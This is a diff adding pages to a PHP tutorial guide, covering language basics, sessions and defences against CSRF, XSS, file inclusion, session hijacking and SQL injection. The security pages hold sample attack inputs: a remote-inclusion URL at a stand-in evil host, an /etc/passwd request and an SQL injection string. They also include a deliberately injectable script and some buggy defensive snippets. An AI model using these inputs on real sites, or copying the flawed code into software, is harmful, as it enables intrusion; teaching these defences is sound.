<add>When PHP parses a file, it looks for opening and closing tags, which are `<?php` and `?>` which tell PHP to start and stop interpreting the code between them. Parsing in this manner allows PHP to be embedded in all sorts of different documents, as everything outside of a pair of opening and closing tags is ignored by the PHP parser.
<add>
<add>PHP also allows for short open tag `<?` (which is discouraged since it is only available if enabled using the `short_open_tag php.ini` configuration file directive, or if PHP was configured with the `--enable-short-tags` option).
<add>
<add>If a file is pure PHP code, it is preferable to omit the PHP closing tag at the end of the file. This prevents accidental whitespace or new lines being added after the PHP closing tag, which may cause unwanted effects because PHP will start output buffering when there is no intention from the programmer to send any output at that point in the script.
<add>
<add>```php
<add><?php
<add>echo "Hello world";
<add>
<add>// ... more code
<add>
<add>echo "Last statement";
<add>
<add>// the script ends here with no PHP closing tag
<add>```
<ide><path>mock-guide/english/php/polymorphism-abstract-interface/index.md
<add>---
<add>title: Polymorphism with Abstract and Interface
<add>---
<add>## Polymorphism with Abstract and Interface
<add>
<add>_Share and enforce code with Polymorphism using Abstract class and interface_
<add>
<add>We will dive deeper into Object Oriented Programming and try to think in terms of Design Patterns to share and enforce our code using Polymorphism.
<add>
<add>### Abstract Class
<add>
<add>
<add>Let’s say we have a class called Man with some properties (`name`, `age`, `height`, `fav_drinks` and `fav_sports`) and methods (`giveFirmHandshakes`, `beStubborn` and `notPutToiletPaper`).
<add>
<add>```php
<add><?php
<add>
<add>class Man
<add>{
<add> public $name;
<add> public $age;
<add> public $height;
<add> public $fav_sports;
<add> public $fav_drinks;
<add>
<add> public function __construct($name, $age, $height)
<add> {
<add> $this->name = $name;
<add> $this->age = $age;
<add> $this->height = $height;
<add> }
<add>
<add> public function giveFirmHandshakes()
<add> {
<add> return "I give firm handshakes.";
<add> }
<add>
<add> public function beStubborn()
<add> {
<add> return "I am stubborn.";
<add> }
<add>
<add> public function notPutToiletPaper()
<add> {
<add> return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
<add> }
<add>}
<add>```
<add>
<add>We need to specify name, age and height to instantiate this class as required by the constructor.
<add>
<add>```php
<add><?php
<add>$jack = new Man('Jack', '26', '5 Feet 6 Inches');
<add>
<add>echo sprintf('%s - %s - %s', $jack->name, $jack->age, $jack->height);
<add>// => Jack - 26 - 5 Feet 6 Inches
<add>```
<add>
<add>Now, let’s say we want to add a new method to this class called isActive.
<add>
<add>This method checks the property active and returns appropriate message depending on the value of active with default value of false. We can set it to true for those men that are active.
<add>
<add>```php
<add><?php
<add>
<add>class Man
<add>{
<add> public $name;
<add> public $age;
<add> public $height;
<add> public $fav_sports;
<add> public $fav_drinks;
<add> public $active = false;
<add>
<add> .....
<add> .....
<add>
<add> public function isActive()
<add> {
<add> if ($this->active == true) {
<add> return "I am an active man.";
<add> } else {
<add> return "I am an idle man.";
<add> }
<add> }
<add>}
<add>
<add>$jack = new Man('Jack', '26', '5 Feet 6 Inches');
<add>$jack->active = true;
<add>echo $jack->isActive();
<add>// => I am an active man.
<add>
<add>$jake = new Man('Jake', '30', '6 Feet');
<add>echo "\n" . $jake->isActive();
<add>// => I am an idle man.
<add>```
<add>
<add>What if a man is not JUST active or idle?
<add>
<add>What if there is a scale of 1 to 4 that measures how active a man is
<add>(1 – idle, 2 – lightly active, 3- moderately active, 4- very active)?
<add>
<add>We can have an if..elseif..else statements like this:
<add>
<add>```php
<add><?php
<add>
<add>public function isActive()
<add>{
<add> if ($this->active == 1) {
<add> return "I am an idle man.";
<add> } elseif ($this->active == 2) {
<add> return "I am a lightly active man.";
<add> } elseif ($this->active == 3) {
<add> return "I am a moderately active man.";
<add> } else {
<add> return "I am a very active man.";
<add> }
<add>}
<add>```
<add>
<add>Now, let’s take this a step further.
<add>
<add>What if Man’s active property is not just an integer (1, 2, 3, 4, etc)?
<add>
<add>What if the value of active is “athletic” or “lazy”?
<add>
<add>Don’t we have to add more elseif statements looking for a match with those strings?
<add>
<add>Abstract classes can be used for such scenario.
<add>
<add>With abstract classes, you basically define the class as abstract and the methods you want to enforce as abstract without actually putting any code inside those methods.
<add>
<add>Then you create a child class extending the parent abstract class and implement the abstract methods in that child class.
<add>
<add>This way, you will be enforcing all the child classes to define their own version of abstract methods. Let’s see how we can set our `isActive()` method as abstract.
<add>
<add>#1: Define the class as abstract.
<add>
<add>```php
<add><?php
<add>abstract class Man
<add>{
<add>.....
<add>.....
<add>}
<add>```
<add>
<add>#2: Create an abstract method for the method you want to enforce inside the abstract class.
<add>
<add>
<add>```php
<add><?php
<add>abstract class Man
<add>{
<add>.....
<add>.....
<add>abstract public function isActive();
<add>}
<add>```
<add>
<add>#3: Create a child class extending the abstract class.
<add>
<add>```php
<add><?php
<add>
<add>class AthleticMan extends Man
<add>{
<add>.....
<add>.....
<add>}
<add>```
<add>
<add>#4: Implement the abstract method inside the child class.
<add>
<add>```php
<add><?php
<add>class AthleticMan extends Man
<add>{
<add> public function isActive()
<add> {
<add> return "I am a very active athlete.";
<add> }
<add>}
<add>```
<add>
<add>#5: Instantiate the child class (NOT the abstract class).
<add>
<add>```php
<add><?php
<add>$jack = new AthleticMan('Jack', '26', '5 feet 6 inches');
<add>echo $jack->isActive();
<add>// => I am a very active athlete.
<add>```
<add>
<add>Complete abstract class definition and implementation code:
<add>
<add>```php
<add><?php
<add>
<add>abstract class Man
<add>{
<add> public $name;
<add> public $age;
<add> public $height;
<add> public $fav_sports;
<add> public $fav_drinks;
<add>
<add> public function __construct($name, $age, $height)
<add> {
<add> $this->name = $name;
<add> $this->age = $age;
<add> $this->height = $height;
<add> }
<add>
<add> public function giveFirmHandshakes()
<add> {
<add> return "I give firm handshakes.";
<add> }
<add>
<add> public function beStubborn()
<add> {
<add> return "I am stubborn.";
<add> }
<add>
<add> public function notPutToiletPaper()
<add> {
<add> return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
<add> }
<add>
<add> abstract public function isActive();
<add>}
<add>
<add>class AthleticMan extends Man
<add>{
<add> public function isActive()
<add> {
<add> return "I am a very active athlete.";
<add> }
<add>}
<add>
<add>$jack = new AthleticMan('Jack', '26', '5 feet 6 inches');
<add>echo $jack->isActive();
<add>// => I am a very active athlete.
<add>```
<add>
<add>In this code, you will notice that `isActive()` abstract method is defined inside `Man` abstract class and it is implemented inside child class `AthleticMan`.
<add>
<add>Now `Man` class cannot be instantiated directly to create an object.
<add>
<add>```php
<add><?php
<add>$ted = new Man('Ted', '30', '6 feet');
<add>echo $ted->isActive();
<add>// => Fatal error: Uncaught Error: Cannot instantiate abstract class Man
<add>```
<add>
<add>Also, every child class of the abstract class (`Man` class) needs to implement all the abstract methods. Lack of such implementation will result in a fatal error.
<add>
<add>```php
<add><?php
<add>class LazyMan extends Man
<add>{
<add>
<add>}
<add>
<add>$robert = new LazyMan('Robert', '40', '5 feet 10 inches');
<add>echo $robert->isActive();
<add>// => Fatal error: Class LazyMan contains 1 abstract method
<add>// => and must therefore be declared abstract or implement
<add>// => the remaining methods (Man::isActive)
<add>```
<add>
<add>By using abstract classes, you can enforce certain methods to be implemented individually by the child classes.
<add>
<add>### Interface
<add>
<add>There is another Object Oriented Programming concept that is closely related to Abstract Classes called Interface.
<add>
<add>The only difference between Abstract Classes and Interfaces is that in Abstract Classes, you can have a mix of defined methods (`giveFirmHandshakes()`, `isStubborn()`, etc.) and abstract methods (`isActive()`) inside the parent class whereas in Interfaces, you can only define (not implement) methods inside the parent class.
<add>
<add>Let’s see how we can convert Man abstract class above to an interface.
<add>
<add>#1: Define the interface with all the methods (use interface instead of class).
<add>
<add>```php
<add><?php
<add>interface Man
<add>{
<add> public function __construct($name, $age, $height);
<add>
<add> public function giveFirmHandshakes();
<add>
<add> public function beStubborn();
<add>
<add> public function notPutToiletPaper();
<add>
<add> public function isActive();
<add>}
<add>```
<add>
<add>#2: Create a class that implements the interface (use implements instead of extends). This class must implement ALL the methods defined inside the interface including the constructor method.
<add>
<add>```php
<add><?php
<add>class AthleticMan implements Man
<add>{
<add> public $name;
<add> public $age;
<add> public $height;
<add>
<add> public function __construct($name, $age, $height)
<add> {
<add> $this->name = $name;
<add> $this->age = $age;
<add> $this->height = $height;
<add> }
<add>
<add> public function giveFirmHandshakes()
<add> {
<add> return "I give firm handshakes.";
<add> }
<add>
<add> public function beStubborn()
<add> {
<add> return "I am stubborn.";
<add> }
<add>
<add> public function notPutToiletPaper()
<add> {
<add> return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
<add> }
<add>
<add> public function isActive()
<add> {
<add> return "I am a very active athlete.";
<add> }
<add>}
<add>```
<add>
<add>
<add>#3: Instantiate the implementing class (AthleticMan)
<add>
<add>```php
<add><?php
<add>$jack = new AthleticMan('Jack', '26', '5 feet 6 inches');
<add>echo $jack->isActive();
<add>// => I am a very active athlete.
<add>```
<add>
<add>With interfaces, you need to keep in mind that:
<add>
<add>- The methods cannot be implemented inside the interface.
<add>
<add>- Variables (properties) cannot be defined inside the interface.
<add>
<add>- All the methods defined inside the interface need to be implemented in the child (implementing) class.
<add>
<add>- All the necessary variables need to be defined inside the child class.
<add>
<add>- Man interface enforces its implementing classes to implement all the methods in the interface.
<add>
<add>So, what is the use of interfaces?
<add>
<add>Can’t we just create a new class AthleticMan and create all the methods instead of implementing the interface?
<add>
<add>This is where *Design Patterns* come into play.
<add>
<add>Interfaces are used when there is a base class (`Man`) that wants to enforce you to do things (construct an object, giveFirmHandshakes, beStubborn, notPutToiletPaper and check if you are active) but doesn’t want to tell you exactly how to do it.
<add>
<add>You can just go ahead and create implementing classes with implementations as you deem fit.
<add>
<add>As long as all the methods are implemented, `Man` interface doesn’t care how.
<add>
<add>We have gone over how and when to use abstract classes and interfaces in PHP. Using these OOP concepts to have classes with different functionality sharing the same base “blueprint” (abstract class or interface) is called Polymorphism.
<ide><path>mock-guide/english/php/pp-sessions/index.md
<add>---
<add>title: PHP Sessions
<add>---
<add>
<add># PHP Sessions
<add>
<add>A session is a way to store information (in variables) to be used across multiple pages.
<add>Unlike a cookie, the information is not stored on the user's computer.
<add>
<add>## What is a PHP Session?
<add>
<add>When you work with an application, you open it, do some changes, and then you close it. This is much like a Session.
<add>The computer knows who you are. It knows when you start the application and when you end.
<add>But on the internet there is one problem: the web server does not know who you are or what you do, because the HTTP address _doesn't maintain state_.
<add>
<add>Session variables solve this problem by storing user information to be used across multiple pages (e.g. username, favorite color, etc).
<add>By default, session variables last until the user closes the browser.
<add>
<add>**Session variables hold information about one single user, and are available to all pages in one application.**
<add>
<add>**Note:** If you need a permanent storage, you may want to store the data in a database.
<add>
<add>
<add>## Start a PHP Session
<add>
<add>A session is started with the _session_start()_ function.
<add>Session variables are set with the PHP global variable: $_SESSION.
<add>
<add>**Example:**
<add>```
<add><?php
<add>// Start the session
<add>session_start();
<add>?>
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>// Set session variables
<add>$_SESSION["favcolor"] = "blue";
<add>$_SESSION["favanimal"] = "dog";
<add>echo "Session variables are set.";
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>**Note:** The session_start() function must be the **very first thing** in your document. **Before** any HTML tags.
<add>
<add>Output:
<add>Session variables are set.
<add>
<add>
<add>## Get PHP Session Variable Values
<add>
<add>Note that session variables are not passed individually to each new page, instead they are retrieved from the session we open at the beginning of each page (session_start()).
<add>
<add>Also note that all session variable values are stored in the global $_SESSION variable:
<add>
<add>**Example:**
<add>```
<add><?php
<add>session_start();
<add>?>
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>// Echo session variables that were set on previous page
<add>echo "Favorite color is " . $_SESSION["favcolor"] . ".<br>";
<add>echo "Favorite animal is " . $_SESSION["favanimal"] . ".";
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>Output:
<add>Favorite color is blue.
<add>Favorite animal is dog.
<add>
<add>Another way to show all the session variable values for a user session is to run the following code:
<add>
<add>```
<add><?php
<add>print_r($_SESSION);
<add>?>
<add>```
<add>
<add>### How does it work?
<add>
<add>Most sessions set a user-key on the user's computer that looks something like this: 765487cf34ert8dede5a562e4f3a7e12.
<add>Then, when a session is opened on another page, it scans the computer for a user-key.
<add>If there is a match, it accesses that session, if not, it starts a new session.
<add>
<add>
<add>## Modify a Session Variable
<add>
<add>To change a session variable, just overwrite it:
<add>
<add>**Example:**
<add>```
<add><?php
<add>session_start();
<add>?>
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>// to change a session variable, just overwrite it
<add>$_SESSION["favcolor"] = "pink";
<add>print_r($_SESSION);
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>
<add>## Destroy a PHP Session
<add>
<add>To remove all global session variables and destroy the session, use _session_unset()_ and _session_destroy()_:
<add>
<add>**Example:**
<add>```
<add><?php
<add>session_start();
<add>?>
<add><!DOCTYPE html>
<add><html>
<add><body>
<add>
<add><?php
<add>// remove all session variables
<add>session_unset();
<add>
<add>// destroy the session
<add>session_destroy();
<add>?>
<add>
<add></body>
<add></html>
<add>```
<ide><path>mock-guide/english/php/security/cross-site-request-forgery/index.md
<add>---
<add>title: Cross Site Request Forgery
<add>---
<add>## Cross Site Request Forgery
<add>
<add>Cross Site Request Forgery is a vulnerability in the application caused by the programmer not checking where a request was sent from - this attack is sent to a high privilege level user to gain higher level access to the application.
<add>
<add>### Example Cross Site Request Forgery Attack
<add>An online blog allows users to submit comments and include an image in the comment, the blog's admin panel allows the blog's author to delete a comment by loading the URL `/admin/deletecomment.php?id=123`. A malicious user could make an image tag that loads the delete comment url for example `<img src="/admin/deletecomment.php?id=123" />` so next time an admin views the comment, the admin's computer will load the url and delete comment number 123.
<add>
<add>### Defending your website from cross site request forgery attacks in PHP
<add>To defend against a cross site request forgery attack, you should check against a regularly changed token. The url `/admin/deletecomment.php?id=123` would change to `/admin/deletecomment.php?id=123&csrf-token=random-per-user-unique-string-here`.
<add>
<add>```PHP
<add><?php
<add>// Checking a request's CSRF Token (if true the comment is deleted, if false the comment remains.)
<add>session_start();
<add>if ($_GET['csrf-token'] == $_SESSION['csrf-token']){
<add> return true;
<add>} else {
<add> return false;
<add>}
<add>```
<add>
<add>**Tips:**
<add>* Keep a CSRF Token completely random and change per session (the openssl functions can help with this)
<add>* PHP sessions are useful for storing a CSRF Token accessible to both the user and the server, you could also make this process database driven if you are so inclined.
<add>* Change the CSRF Token on a session every 24 hours. On a high risk application you might want to change it upon every successful request however that will cause issues with users using multiple tabs.
<add>
<add>#### Securely generating a Token
<add>When setting a CSRF Token it is important that it is impossible to guess the key. The OpenSSL functions in PHP can generate a randomized key for you and store as a session variable.
<add>
<add>```PHP
<add><?php
<add>session_start();
<add>$_SESSION['csrf-token'] = bin2hex(openssl_random_pseudo_bytes(16));
<add>```
<add>
<add>#### Using a CSRF Token to complete legitimate requests
<add>You can include the session variable you saved earlier with your CSRF token in the URL make sure a legitimate administrator is allowed to delete comments. Without the correct token the request will be blocked.
<add>
<add>```PHP
<add><?php
<add>session_start();
<add>echo '<a href="/admin/?id=123&csrf-token='.$_SESSION['csrf-token'].'">Delete Comment</a>'; // Only the logged in user has access to the CSRF Token - the token isn't accessible to the attacker preventing their attack from being successful.
<add>```
<add>
<add>#### More Information:
<add>* <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)" rel="nofollow">OWASP Wiki - Cross Site Request Forgery</a>
<add>* <a href="https://secure.php.net/manual/en/function.bin2hex.php">php.net bin2hex() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.openssl-random-pseudo-bytes.php">php.net openssl_random_pseudo_bytes() manual</a> <!-- I used html special entities here due to issues displaying the underscore characters -->
<ide><path>mock-guide/english/php/security/cross-site-scripting/index.md
<add>---
<add>title: Cross Site Scripting
<add>---
<add>## Cross Site Scripting
<add>
<add>Cross Site Scripting is a type of vulnerability in a web application caused by the programmer not sanitizing input before outputting the input to the web browser (for example a comment on a blog). It is commonly used to run malicious javascript in the web browser to do attacks such as stealing session cookies among other malicious actions to gain higher level privileges in the web application.
<add>
<add>### Example Cross Site Scripting Attack
<add>A blog allows users to style their comments with HTML tags, however the script powering the blog does not strip out `<script>` tags allowing any user to run javascript on the page. An attacker can use this to their advantage to run malicious javascript in the browser. They could infect users with malware, steal session cookies, and more.
<add>
<add>```HTML
<add><script>
<add> alert('Cross Site Scripting!');
<add></script>
<add>```
<add>
<add>### Defending your website from cross site scripting attacks in PHP
<add>In PHP there are two primary functions, `htmlspecialchars()` and `strip_tags()`, built in to protect yourself from cross site scripting attacks.
<add>
<add>The `htmlspecialchars($string)` function will prevent an HTML string from rendering as HTML and display it as plain text to the web browser.
<add>**htmlspecialchars() code example**
<add>```PHP
<add><?php
<add>$usercomment = "<string>alert('Cross Site Scripting!');</script>";
<add>echo htmlspecialchars($usercomment);
<add>```
<add>
<add>The other approach is the `strip_tags($string, $allowedtags)` function which removes all HTML tags except for the HTML tags that you've whitelisted. It's important to note that with the `strip_tags()` function you have to be more careful, this function does not prevent the user from including javascript as a link, you'll have to sanitize that on our own.
<add>
<add>**strip_tags() code example**
<add>```php
<add><?php
<add>$usercomment = "<string>alert('Cross Site Scripting!');</script>";
<add>$allowedtags = "<p><a><h1><h2><h3>";
<add>echo strip_tags($usercomment, $allowedtags);
<add>```
<add>
<add>**Setting the X-XSS-Protection Header:**
<add>
<add>In PHP you can send the `X-XSS-Protection` Header which will tell browsers to check for a reflected Cross Site Scripting attack and block the page from loading. This does not prevent all cross site scripting attacks only reflected ones and should be used in combination with other methods.
<add>```PHP
<add><?php
<add>header("X-XSS-Protection: 1; mode=block");
<add>```
<add>
<add>**Writing your own sanitization function**
<add>Another option, if you would like more control over how the sanitization works, is to write your own HTML Sanitization function, this is not recommended for PHP Beginners as a mistake would make your website vulnerable.
<add>
<add>### Defending your website from cross site scripting attacks with a Content Security Policy
<add>An effective approach to preventing cross site scripting attacks, which may require a lot of adjustments to your web application's design and code base, is to use a content security policy.
<add>
<add>#### Set a Content Security Policy as an HTTP Header
<add>The most common way of setting a Content Security Policy is by setting it directly in the HTTP Header. This can be done by the web server by editing it's configuration or by sending it through PHP.
<add>
<add>**Example of a Content Security Policy set in a HTTP Header**
<add>```php
<add><?php
<add>header("content-security-policy: default-src 'self'; img-src https://*; child-src 'none';");
<add>```
<add>#### Set a Content Security Policy as a Meta tags
<add>You can include your Content Security Policy in the page's HTML and set on a page by page basis. This method requires you to set on every page or you lose the benefit of the policy.
<add>
<add>**Example of a Content Security Policy set in a HTML Meta Tag**
<add>```HTML
<add><meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
<add>```
<add>
<add>#### More Information:
<add>* <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)" rel="nofollow">OWASP Wiki - Cross Site Scripting</a>
<add>* <a href="https://secure.php.net/manual/en/function.strip-tags.php" rel="nofollow">php.net strip_tags() manual</a>
<add>* <a href="https://secure.php.net/manual/en/function.htmlspecialchars.php" rel="nofollow">php.net htmlspecialchars() manual</a>
<add>* <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" rel="nofollow">MDN - Content Security Policy (CSP)</a>
<ide><path>mock-guide/english/php/security/index.md
<add>---
<add>title: Security
<add>---
<add>## Security
<add>
<add>When writing PHP code it is very important to get security concepts in mind to avoid writing vulnerable code.
<add>
<add>### Types Of Vulnerabilities
<add>* <a href="/php/security/cross-site-request-forgery">Cross Site Request Forgery</a> A vulnerability in the application caused by the programmer not checking where a request was sent from - this attack is sent to a high privilege level user to gain higher level access to the application.
<add>* <a href="/php/security/cross-site-scripting">Cross Site Scripting</a> A vulnerability in the application caused by the programmer not sanitizing input before outputting the input to the browser (for example a comment on a blog). It is commonly used to run malicious javascript in the browser to do attacks such as stealing session cookies among other malicious actions to gain higher level privileges in the application.
<add>* <a href="/php/security/local-file-inclusion">Local File Inclusion</a> A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being included where it should not of been.
<add>* <a href="/php/security/remote-file-inclusion">Remote File Inclusion</a> A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.
<add>* <a href="/php/security/session-hijacking">Session Hijacking</a> A vulnerability caused by an attacker gaining access to a user's session identifier and being able to use another user's account impersonating them. This is often used to gain access to an administrative user's account.
<add>* <a href="/php/security/session-identifier-acquirement">Session Identifier Acquirement</a> Session Identifier Acquirement is a vulnerability caused by an attacker being able to either guess the session identifier of a user or exploit vulnerabilities in the application itself or the user's browser to obtain a session identifier.
<add>* <a href="/php/security/sql-injection">SQL Injection</a> A vulnerability in the application caused by the programmer not sanitizing input before including it into a query into the database. This leads to the attacker having full read and more often than not write access to the database. With this type of access an attacker can do very bad things.
<add>
<add>#### More Information:
<add><a href="https://www.owasp.org/index.php/Category:Attack" rel="nofollow">OWASP Wiki's Attacks Page</a>
<ide><path>mock-guide/english/php/security/local-file-inclusion/index.md
<add>---
<add>title: Local File Inclusion
<add>---
<add>## Local File Inclusion
<add>
<add>A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being included where it should not of been.
<add>
<add>### Example local file inclusion attacks
<add>A website allows you to view PDFs as `download.php?file=myfile.php`, due to a lack of proper checking a malicious user is able to request /etc/passwd and get sensitive configuration information from the web server.
<add>
<add>### Defending your website from local file inclusion attacks in PHP
<add>```PHP
<add><?php
<add>if(basename($_GET['file]) !== $_GET['file']) {
<add> die('INVALID FILE REQUESTED');
<add>}
<add>```
<add>#### More Information:
<add>* <a href="https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion" rel="nofollow">OWASP Wiki - Testing for Local File Inclusion</a>
<ide><path>mock-guide/english/php/security/remote-file-inclusion/index.md
<add>---
<add>title: Remote File Inclusion
<add>---
<add>## Remote File Inclusion
<add>
<add>A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.
<add>
<add>### Example remote file inclusion attacks
<add>A website allows you to view PDFs as `download.php?file=myfile.php`, due to a lack of proper checking a malicious user is able to request a remote resource and include in the script. The URL could become `download.php?file=http://myevilserver.gtld/evilcode.php` this could then be outputted to the user or in severe cases run the actual PHP code on your server.
<add>
<add>### Defending your website from remote file inclusion attacks in PHP
<add>The following PHP code will provide strong protection against a remote file inclusion attacks
<add>```PHP
<add><?php
<add>if(basename($_GET['file]) !== $_GET['file']) {
<add> die('INVALID FILE REQUESTED');
<add>}
<add>```
<add>* You can disable `allow_url_fopen` in your php.ini file as an added protection against remote file inclusion.
<add>
<add>#### More Information:
<add>* <a href="https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion" rel="nofollow">OWASP Wiki - Testing for Remote File Inclusion</a>
<ide><path>mock-guide/english/php/security/session-hijacking/index.md
<add>---
<add>title: Session Hijacking
<add>---
<add>## Session Hijacking
<add>
<add>Session Hijacking is a vulnerability caused by an attacker gaining access to a user's session identifier and being able to use another user's account impersonating them. This is often used to gain access to an administrative user's account.
<add>
<add>### Defending against Session Hijacking attacks in PHP
<add>To defend against Session Hijacking attacks you need to check the current user's browser and location information against information stored about the session. Below is an example implementation that can help mitigate the effects of a session hijacking attack. It checks the IP Address, User Agent, and if the Session Expired removing a session before it's resumed.
<add>```PHP
<add><?php
<add>session_start();
<add>
<add>// Does IP Address match?
<add>if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress'])
<add>{
<add>session_unset();
<add>session_destroy();
<add>}
<add>
<add>// Does user agent match?
<add>if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent'])
<add>{
<add> session_unset();
<add> session_destroy();
<add>}
<add>
<add>// Is the last access over an hour ago?
<add>if (time() > ($_SESSION['lastaccess'] + 3600))
<add>{
<add> session_unset();
<add> session_destroy();
<add>}
<add>else
<add>{
<add> $_SESSION['lastaccess'] = time();
<add>}
<add>```
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/session.security.php">php.net session security manual</a>
<ide><path>mock-guide/english/php/security/session-identifier-acquirement/index.md
<add>---
<add>title: Session Identifier Acquirement
<add>---
<add>## Session Identifier Acquirement
<add>
<add>Session Identifier Acquirement is a vulnerability caused by an attacker being able to either guess the session identifier of a user or exploit vulnerabilities in the application itself or the user's browser to obtain a session identifier. This attack is a prerequisite to performing a session hijacking attack.
<add>
<add>### Example
<add>An attacker has a few options to perform a session identifier acquirement attack.
<add>* Guessing the Identifier: A short and guessable session identifier could allow an attacker to brute-force the ID of a session and get in.
<add>* Attacking the Browser: In the event you store your session identifier in the browser's cookies - if your website is vulnerable to cross site scripting an attacker could use the vulnerability to collect session identifier cookies and access high privilege level areas (for example an admin panel).
<add>* Changing the ID to the attacker's choice: In older versions of PHP you were able to set the ID of a session in the URL. It's disabled by default now, if in doubt make sure `session.use_trans_sid` is false. This is not a common issue anymore, however it can still happen, better safe than sorry.
<add>
<add>
<add>### Defending against Session Identifier Acquirement attacks in PHP
<add>To defend against Session Identifier Acquirement attacks you need to check the attempted session access against several factors to confirm whether it's a legitimate access and to avoid the user from successfully hijacking the user's session. Below is an example implementation that can help mitigate the effects of a session identifier acquirement attack. It checks the IP Address, User Agent, and if the Session Expired removing a session before it's acquired.
<add>```PHP
<add><?php
<add>session_start();
<add>
<add>// Does IP Address match?
<add>if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress'])
<add>{
<add>session_unset();
<add>session_destroy();
<add>}
<add>
<add>// Does user agent match?
<add>if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent'])
<add>{
<add> session_unset();
<add> session_destroy();
<add>}
<add>
<add>// Is the last access over an hour ago?
<add>if (time() > ($_SESSION['lastaccess'] + 3600))
<add>{
<add> session_unset();
<add> session_destroy();
<add>}
<add>else
<add>{
<add> $_SESSION['lastaccess'] = time();
<add>}
<add>```
<add>
<add>**Tips:**
<add>* Store lots of information about the current session (User Agent String, IP Address, Last Access Time, etc)
<add>* Check every request against information stored about the session (Does it match? If not delete the session and require the user to login again )
<add>* Sessions shouldn't last forever - they should expire at a certain point to maintain session security.
<add>* Rate limit the amount of sessions a user can try to access (did a user try to access 1000+ invalid sessions? Chances are they are guessing - prevent the IP address from trying any more sessions for a few hours).
<add>
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/session.security.php">php.net session security manual</a>
<ide><path>mock-guide/english/php/security/sql-injection/index.md
<add>---
<add>title: SQL Injection
<add>---
<add>## SQL Injection
<add>
<add>A vulnerability in the application caused by the programmer not sanitizing input before including it into a query into the database. This leads to the attacker having full read and more often than not write access to the database. With this type of access an attacker can do very bad things.
<add>
<add>### Example SQL Injection attack
<add>The below PHP Script runs an SQL Statement to get a user's email by ID. However the input is not sanitized making it vulnerable to SQL Injection
<add>```PHP
<add><?php
<add>$input = $_GET['id'];
<add>$dbserver = "localhost";
<add>$dbuser = "camper";
<add>$dbpass = "supersecretcampsitepassword";
<add>$dbname = "freecodecamp";
<add>
<add>$conn = new mysqli($dbserver, $dbuser, $dbpass, $dbname);
<add>
<add>if ($conn->connect_error) {
<add> die("Connection failed: " . $conn->connect_error);
<add>}
<add>
<add>$sql = "SELECT email FROM users WHERE id =" . $input;
<add>
<add>$result = $conn->query($sql);
<add>
<add>if ($result->num_rows > 0) {
<add> while($row = $result->fetch_assoc()) {
<add> echo $row["email"];
<add> }
<add>} else {
<add> echo "no results";
<add>}
<add>
<add>$conn->close();
<add>```
<add>```SQL
<add>SELECT email FROM users WHERE id = `$input`;
<add>```
<add>
<add>So with the above the input is not type casted (I.e. casting the input with `(int)` so only a number is allowed) nor escaped allowing someone to perform an SQL Injection attack - for example the URL `getemailbyuserid.php?id=1; My Query Here--` would allow you to run arbitrary SQL queries with little effort.
<add>
<add>As the SQL code is a string which can be controlled by an attacker, the `id` variable in the example above effectively becomes `1; My Query Here--`. The `$sql` string thus becomes `SELECT email FROM users WHERE id =1; My Query Here--`. You can see that arbitrary queries can be appended to the original query. The double-dash `--` comments out any trailing characters which can cause an issue with the payload, like closing quotes if available.
<add>
<add>### Defending your website from sql injection attacks in PHP
<add>There are a few approaches to defend your website from SQL Injection Attacks. These approaches are Whitelisting, Type Casting, and Character Escaping
<add>
<add>**Whitelisting:**
<add>The whitelisting approach is used in cases where only a few inputs are expected. You can list each expected input in a PHP Switch and then have a default for invalid input. You do not have to worry about a type casting issue or a character escape bypass but the allowed input is extreamly limited. It remains an option, see the example below.
<add>```PHP
<add><?php
<add>switch ($input) {
<add> case "1":
<add> //db query 1
<add> break;
<add> case "2":
<add> //db query 2
<add> break;
<add> default:
<add> // invalid input return error
<add>}
<add>```
<add>
<add>**Type Casting:**
<add>The type casting approach is commonly used for an application using numeric input. Simply cast the input with `(int) $input` and only a numeric value will be allowed.
<add>
<add>**Character Escaping:**
<add>The character escaping approach will escape characters such as quotes and slashes provided by the user to prevent an attack. If you are using MySQL Server and the MySQLi library to access your database, the `mysqli_real_escape_string($conn, $string)` function will take two arguments, the MySQLi connection, and the string and will properly escape the user's input to block an sql injection attack. The exact function you use depends on the database type and php library you are using check the php library's documentation for more information on escaping user input.
<add>
<add>#### More Information:
<add>* <a href="https://www.owasp.org/index.php/SQL_Injection" rel="nofollow">OWASP Wiki - SQL Injection</a>
<add>* <a href="https://secure.php.net/manual/en/security.database.sql-injection.php" rel="nofollow">php.net SQL Injection manual</a>
<add>* <a href="https://secure.php.net/manual/en/mysqli.real-escape-string.php" rel="nofollow">php.net MySQLi Real Escape String manual</a>
<ide><path>mock-guide/english/php/sessions/index.md
<add>---
<add>title: Sessions
<add>---
<add>## Sessions
<add>
<add>Sessions are a feature in PHP that allow you to store data server side about a user. When a session is setup, a browser cookie is set which identifies the user to PHP so the PHP knows which server side variables to access.
<add>
